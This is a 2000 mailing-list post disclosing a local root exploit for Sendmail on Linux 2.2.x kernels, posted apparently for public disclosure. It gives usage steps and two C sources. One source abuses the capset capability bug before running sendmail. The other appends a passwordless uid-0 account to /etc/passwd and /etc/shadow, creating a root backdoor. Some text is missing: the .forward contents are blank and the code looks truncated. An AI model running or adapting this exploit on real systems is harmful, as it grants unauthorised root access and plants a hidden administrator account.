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Subject: Sendmail local root exploit on linux 2.2.x
From: Florian Heinz (skyREAL-LINUX.DE)
Date: Thu Jun 08 2000 - 07:21:48 CDT

Hello all,

Attached is a file with 2 sources, ex.c and add.c

compile these 2 and create a file "mail":

From: yomamafoobar.com
To: localuserlocaldomain.com
Subject: foo

then create a .forward with:

then just do: ./ex < mail

this should add a user yomama with uid/gid = 0 and without a password
a simple su - yomama should give you root.

This exploit was written by me in a hurry, I hope there are no mistakes


Florian Heinz

-- snip -- ex.c --

#include <linux/capability.h>

int main (void) {
   cap_user_header_t header;
   cap_user_data_t data;

   header = malloc(8);
   data = malloc(12);

   header->pid = 0;
   header->version = _LINUX_CAPABILITY_VERSION;

   data->inheritable = data->effective = data->permitted = 0;
   capset(header, data);

   execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);

-- snap -- ex.c --

-- snip -- add.c --

#include <fcntl.h>

int main (void) {
   int fd;
   char string[40];

   fd = open("/etc/passwd", O_APPEND|O_WRONLY);
   strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
   write(fd, string, strlen(string));
   fd = open("/etc/shadow", O_APPEND|O_WRONLY);
   strcpy(string, "yomama::11029:0:99999:7:::");
   write(fd, string, strlen(string));


-- snap -- add.c --